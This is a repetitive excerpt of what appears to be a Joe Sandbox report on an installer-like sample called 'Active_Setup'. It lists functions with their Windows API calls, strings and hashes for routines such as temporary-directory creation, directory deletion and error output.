Stripped read-only attribute., xrefs: 00BDAA4A

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: CloseErrorFindLast
String ID: Deleting directory: %s$Failed to delete directory (%d).$Failed to delete directory (%d). Will delete on restart (if empty).$Failed to delete directory (%d). Will retry later.$Failed to strip read-only attribute.$Not stripping read-only attribute because the directory does not appear to be empty.$Stripped read-only attribute.
API String ID: 754982922-1448842058
Opcode ID: 70df41fe3cabb87a662bbf4fad87270c1827cd5ceac1ffa5a9c960b2e9a6f4ed
Instruction ID: 60113d5952e276a1f46f551e37d525e41d0bfe21fbb70a19dfe6a072bc7a95b0
Opcode Fuzzy Hash: 70df41fe3cabb87a662bbf4fad87270c1827cd5ceac1ffa5a9c960b2e9a6f4ed
Instruction Fuzzy Hash: 3641C331A042098FCB00EB6989517AEF7EADF85710F1585FBA411D7392EBB48E46CB53

Function 009C60C0 Relevance: 10.9, APIs: 7, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76c373c4a58381d73552338da4510e87656967abf6613b0e6f40e2f7c551b993
Instruction ID: 38c8a30d151fca628f603a053b83208a3ab08dfde5186ee4fe59b166a0b1040a
Opcode Fuzzy Hash: 76c373c4a58381d73552338da4510e87656967abf6613b0e6f40e2f7c551b993
Instruction Fuzzy Hash: 25C15662F10B014BD714AA7CDC85F6EB789DBC4321F59863EE214CB396DB64EC858352

Function 00C54358 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 150COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00C5455A,?,00000000,00C5459B,?,?,00000000,00000000,?,00C60F65,00000000,00C6111E), ref: 00C5443B
GetLastError.KERNEL32(00000000,00000000,00000000,00C5455A,?,00000000,00C5459B,?,?,00000000,00000000,?,00C60F65,00000000,00C6111E), ref: 00C54444

Strings

Created %stemporary directory: %s, xrefs: 00C543E2
protected , xrefs: 00C543B0
\_setup64.tmp, xrefs: 00C544E4
_isetup, xrefs: 00C54426

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: Created %stemporary directory: %s$\_setup64.tmp$_isetup$protected
API String ID: 1375471231-586322406
Opcode ID: d73082984e56335fed2120d34856dbd30f0a3174bbf12f01a232018673247f2e
Instruction ID: 4bd41ffe8e6a873966c6c35e15fd3c97a321c348e14e8818e48dedfbf66bb738
Opcode Fuzzy Hash: d73082984e56335fed2120d34856dbd30f0a3174bbf12f01a232018673247f2e
Instruction Fuzzy Hash: F6516E78A042089FDB05EFA4D892BEDB7F9EB49304F514475E801E7261EB305E89CB55

Function 00B8400C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00B8401D

Part of subcall function 00AA669C: EnterCriticalSection.KERNEL32(-00000008,00000000,00AA68A6,?,?,?), ref: 00AA66E1

SelectObject.GDI32(00000001,00000000), ref: 00B8403F
GetTextExtentPointW.GDI32(00000001,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,00000034,?), ref: 00B84053
GetTextMetricsW.GDI32(00000001,?), ref: 00B84075
ReleaseDC.USER32(00000000,00000001), ref: 00B84092

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz, xrefs: 00B8404A

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: Text$CriticalEnterExtentMetricsObjectPointReleaseSectionSelect
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
API String ID: 1334710084-222967699
Opcode ID: aa9bdf027f287c1ea41828887d5c0c8ec25faa1dd50d8e4535561c0dc0eace61
Instruction ID: f833e508343caf570b6edd91bdbca99970aae677e3250e478809b8989d13d9d7
Opcode Fuzzy Hash: aa9bdf027f287c1ea41828887d5c0c8ec25faa1dd50d8e4535561c0dc0eace61
Instruction Fuzzy Hash: D5116DB6A54705AFDB00EAA8CC51F6EB7ECDB89710F124466FA04E7391D670AD00CB20

Function 009CA504 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,?,00000000,?,009CA5BC,?,?,?,009CA6D6,009C715B,009C71A2,?,00000000,009C71BB), ref: 009CA53D
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,009CA5BC,?,?,?,009CA6D6,009C715B,009C71A2,?,00000000), ref: 009CA543
GetStdHandle.KERNEL32(000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,009CA5BC,?,?,?), ref: 009CA55E
WriteFile.KERNEL32(00000000,000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,009CA5BC,?,?), ref: 009CA564

Strings

Error, xrefs: 009CA576
Runtime error at 00000000, xrefs: 009CA536, 009CA57B

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: FileHandleWrite
String ID: Error$Runtime error at 00000000
API String ID: 3320372497-2970929446
Opcode ID: 6b3e3fbf8db569476756e523f169095ac746b570b0bf0b4cd90fce01b92c69a2
Instruction ID: 6d40dc5a6427b510f3da16094ede2ef579339b38848f1d4519d5fc62c45f4322
Opcode Fuzzy Hash: 6b3e3fbf8db569476756e523f169095ac746b570b0bf0b4cd90fce01b92c69a2
Instruction Fuzzy Hash: E7F03695E847847AEB20B3689C4BF6D269C5B80F24F54461EB3346D0E2DAA058C49663

Function 00C563A4 Relevance: 9.1, APIs: 6, Instructions: 66COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00C563C0
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC,?,00C5F581,00000000,00C5FEB4), ref: 00C563EF
GetWindowLongW.USER32(?,000000EC), ref: 00C56404
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00C5642B
ShowWindow.USER32(?,00000005,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC), ref: 00C56444
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000057,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000), ref: 00C56465

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: Window$Long$Show
String ID:
API String ID: 3609083571-0
Opcode ID: 7a81d9cd6b7c2f225d5c55418773854c0b4ce7b3289ceeb95ad6634bb59af926
Instruction ID: 7f2c0f6ec15d84179b8250775fcc7c2c119c0ca6e046c67a38cfac223c63ee00
Opcode Fuzzy Hash: 7a81d9cd6b7c2f225d5c55418773854c0b4ce7b3289ceeb95ad6634bb59af926
Instruction Fuzzy Hash: B011513A3447009FD700DB68CC92FAA73A4BB4D310F488296FA59CB3A6C735E940AB50

Function 009C640C Relevance: 9.1, APIs: 6, Instructions: 51fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,009C5580,00000000,?,00000000,?,?,00000000,009C6DB7), ref: 009C642E
WriteFile.KERNEL32(00000000,000000F4,009C5580,00000000,?,00000000,?,?,00000000,009C6DB7), ref: 009C6434
GetStdHandle.KERNEL32(000000F4,009C557C,00000000,?,00000000,00000000,000000F4,009C5580,00000000,?,00000000,?,?,00000000,009C6DB7), ref: 009C6453
WriteFile.KERNEL32(00000000,000000F4,009C557C,00000000,?,00000000,00000000,000000F4,009C5580,00000000,?,00000000,?,?,00000000,009C6DB7), ref: 009C6459
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,00000000,000000F4,009C557C,00000000,?,00000000,00000000,000000F4,009C5580,00000000,?), ref: 009C6470
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,00000000,000000F4,009C557C,00000000,?,00000000,00000000,000000F4,009C5580,00000000), ref: 009C6476

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: FileHandleWrite
String ID:
API String ID: 3320372497-0
Opcode ID: d41439b37735a20aebc4548953fb51d2cbbc1fdaa2b8ed5d41fd9c93fa2a1ac0
Instruction ID: 489c73d522171a86aaa9fb63b2d8e3809b9cf2606e31a19b1016314ff13681f1
Opcode Fuzzy Hash: d41439b37735a20aebc4548953fb51d2cbbc1fdaa2b8ed5d41fd9c93fa2a1ac0
Instruction Fuzzy Hash: D201C8B1A08A143EE604F3B89C86F5F3ADC8B88766F1146197219E20E3CD54AC80C377

Function 009EAA60 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 221COMMON

Download Yara Rule

APIs

EnumCalendarInfoW.KERNEL32(009EA928,?,00000000,00000004), ref: 009EAB1D
EnumCalendarInfoW.KERNEL32(009EA9D0,?,00000000,00000003,009EA928,?,00000000,00000004), ref: 009EAB5B
EnumCalendarInfoW.KERNEL32(009EA928,?,00000000,00000004), ref: 009EAB7D
EnumCalendarInfoW.KERNEL32(009EA9D0,?,00000000,00000003,009EA928,?,00000000,00000004), ref: 009EABBB

Strings

B.C., xrefs: 009EAC2B

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: CalendarEnumInfo
String ID: B.C.
API String ID: 2925833060-621294921
Opcode ID: cc55a4bf8fd86df6b5c1226005f0ecad36442d2dfbda3a56004ad1b69dc26f50
Instruction ID: 297e184d9b51b77b7172ed282df1a0e4ca9bfc0b225edf2000f5b996eb6630bd
Opcode Fuzzy Hash: cc55a4bf8fd86df6b5c1226005f0ecad36442d2dfbda3a56004ad1b69dc26f50
Instruction Fuzzy Hash: 6681F570A006469FD715EF6ADC81FAA37A9FB88310B114129E511DB3B1C730EC82CBA6

Function 00C60654 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

APIs

Part of subcall function 00B6B3AC: SetWindowTextW.USER32(?,00000000), ref: 00B6B3DD

ShowWindow.USER32(?,00000005,00000000,00C6090E,?,?,00000000), ref: 00C6069A

Part of subcall function 00B7C700: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00B7C713

Part of subcall function 009E5724: SetCurrentDirectoryW.KERNEL32(00000000,?,00C606C2,00000000,00C608D3,?,?,00000005,00000000,00C6090E,?,?,00000000), ref: 009E572F

Part of subcall function 00B7C214: GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,00B7C2AB,?,?,?,00000001,?,00BC1E5E,00000000,00BC1ECB), ref: 00B7C249

Strings

.msg, xrefs: 00C60700
IMsg, xrefs: 00C6076E
Uninstall, xrefs: 00C60680
.dat, xrefs: 00C606E1

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: DirectoryWindow$CurrentFileModuleNameShowSystemText
String ID: .dat$.msg$IMsg$Uninstall
API String ID: 3312786188-1660910688
Opcode ID: db87e334c403283d8b792e328cf6530f77fa809c5b99e21112f4a93bb44caf47
Instruction ID: acf688efad81d7c488addcf04d133a5f34ed0fe9868287d99ced1070c8e25ce0
Opcode Fuzzy Hash: db87e334c403283d8b792e328cf6530f77fa809c5b99e21112f4a93bb44caf47
Instruction Fuzzy Hash: 76413C74A002089FDB11EFA8CD92E9FB7F5FB89740B6084B5F804A7761DA31AE41DB51

Function 00BD65B8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,00000001,00000000,000000FF,00001CFF), ref: 00BD65EA
GetExitCodeProcess.KERNEL32(?,?), ref: 00BD660D
CloseHandle.KERNEL32(?,00BD6642,000000FF,00001CFF,00000000,00BD663B), ref: 00BD6633

Strings

GetExitCodeProcess, xrefs: 00BD6616
MsgWaitForMultipleObjects, xrefs: 00BD65F9

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: CloseCodeExitHandleMultipleObjectsProcessWait
String ID: GetExitCodeProcess$MsgWaitForMultipleObjects
API String ID: 2573145106-3235461205
Opcode ID: 32603450b2409b150aa4e34458e4ad890a9163610a6c64c9e3fb62994eda5734
Instruction ID: e3b07c02f1d94886807914c8d078694bf61fd1251bba8e408f4ed5996ef64458
Opcode Fuzzy Hash: 32603450b2409b150aa4e34458e4ad890a9163610a6c64c9e3fb62994eda5734
Instruction Fuzzy Hash: 09018F35644604AFD710EBA8CD92F9DB3E8EB49720B204AA6F420DB3E0EA70ED408750

Function 009FA3D0 Relevance: 7.8, APIs: 5, Instructions: 274COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 009FA43B
